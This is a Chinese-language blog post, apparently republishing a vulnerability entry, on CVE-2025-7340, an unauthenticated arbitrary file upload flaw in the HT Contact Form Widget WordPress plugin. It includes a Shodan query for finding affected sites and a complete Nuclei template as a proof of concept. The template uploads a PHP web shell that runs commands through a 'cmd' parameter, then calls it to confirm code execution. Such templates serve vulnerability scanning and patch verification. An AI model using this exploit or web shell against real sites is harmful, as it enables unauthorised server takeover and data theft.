HT Contact Form Widget 未授权任意文件上传漏洞

漏洞信息

漏洞名称: HT Contact Form Widget 未授权任意文件上传漏洞

漏洞编号:

  • CVE: CVE-2025-7340

漏洞类型: 文件上传

漏洞等级: 严重

漏洞描述: HT Contact Form Widget是WordPress的一个插件,用于创建和管理联系表单。该插件广泛应用于使用WordPress构建的网站中,提供了用户友好的界面和功能,使得网站管理员可以轻松添加联系表单。然而,该插件在版本2.2.1及之前存在一个严重的未授权任意文件上传漏洞。该漏洞源于temp_file_upload函数中缺乏对文件类型的适当验证,使得未经认证的攻击者能够上传任意文件到服务器。这一漏洞的技术根源在于未能正确限制上传文件的类型和内容,导致攻击者可以上传恶意文件,如PHP脚本,进而在服务器上执行任意代码。由于该漏洞不需要任何认证即可利用,攻击者可以轻松地利用此漏洞上传恶意文件,进而可能导致服务器被完全控制,包括数据泄露、恶意代码执行和服务中断等严重后果。因此,该漏洞的严重性评级为’严重’,建议用户立即更新插件到最新版本或移除插件以防止潜在的攻击。

产品厂商: htheme

产品名称: HT Contact Form Widget

影响版本: <= 2.2.1

搜索语法: http.html:”wp-content/plugins/ht-contactform”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/d3f221e9efea06a873e85803b4ecde4b663319c4/http%2Fcves%2F2025%2FCVE-2025-7340.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

id: CVE-2025-7340

info:
name: HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
The HT Contact Form Widget plugin for WordPress (≤ v2.2.1) lacks proper file type validation in the temp_file_upload function. This allows unauthenticated attackers to upload arbitrary files to the server.
impact: |
Unauthenticated attackers can upload and execute arbitrary files on the server, potentially leading to complete system compromise including data theft, malicious code execution, and server takeover.
remediation: |
Update the HT Contact Form Widget plugin to a version newer than 2.2.1 or remove the plugin if no patch is available.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-7340
- https://wordpress.org/plugins/ht-contactform/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-7340
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: htheme
product: ht_contact_form_widget
shodan-query: http.html:"wp-content/plugins/ht-contactform"
tags: cve,cve2025,wordpress,intrusive,rce,htcontact,plugin,file-upload,htheme

variables:
payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
cmd: 'id'

flow: http(1) && http(2) && http(3)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

matchers:
- type: word
part: body
internal: true
words:
- "wp-content/plugins/ht-contactform"

- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

ht_form_temp_file_upload
------WebKitFormBoundary
Content-Disposition: form-data; name="_wpnonce"

{{randstr}}
------WebKitFormBoundary
Content-Disposition: form-data; name="form_id"

7
------WebKitFormBoundary
Content-Disposition: form-data; name="ht_form_file"; filename="{{randstr}}.php"
Content-Type: application/x-php

{{payload}}
------WebKitFormBoundary--

matchers-condition: and
matchers:
- type: word
part: body
internal: true
words:
- "wp-content/uploads/ht_form/temp"

- raw:
- |
GET /wp-content/uploads/ht_form/temp/{{randstr}}.php?cmd={{cmd}}
Host: {{Hostname}}

matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"



HT Contact Form Widget 未授权任意文件上传漏洞
http://example.com/2025/07/17/github_4037291902/
作者
lianccc
发布于
2025年7月17日
许可协议